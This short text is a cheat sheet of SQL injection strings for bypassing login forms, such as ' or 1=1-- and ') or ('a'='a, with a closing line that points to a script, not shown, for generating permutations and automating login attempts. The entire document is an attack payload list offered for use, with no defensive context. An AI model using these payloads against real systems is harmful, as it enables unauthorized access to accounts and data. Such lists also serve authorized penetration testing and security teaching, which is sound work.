Following are the most common strings used to bypass vulnerable login forms.
or 1=1
or 1=1--
or 1=1#
or 1=1/*
' or 1=1
' or 1=1--
' or 1=1#
" or 1=1
" or 1=1--
" or 1=1#
" or 1=1/*
' or 'a'='a
') or ('a'='a
" or "a"="a
") or ("a"="a
' or 1=1 limit 1 -- -+
'=' 'OR'
You can use this script to generate permutations and make automatic login attempts.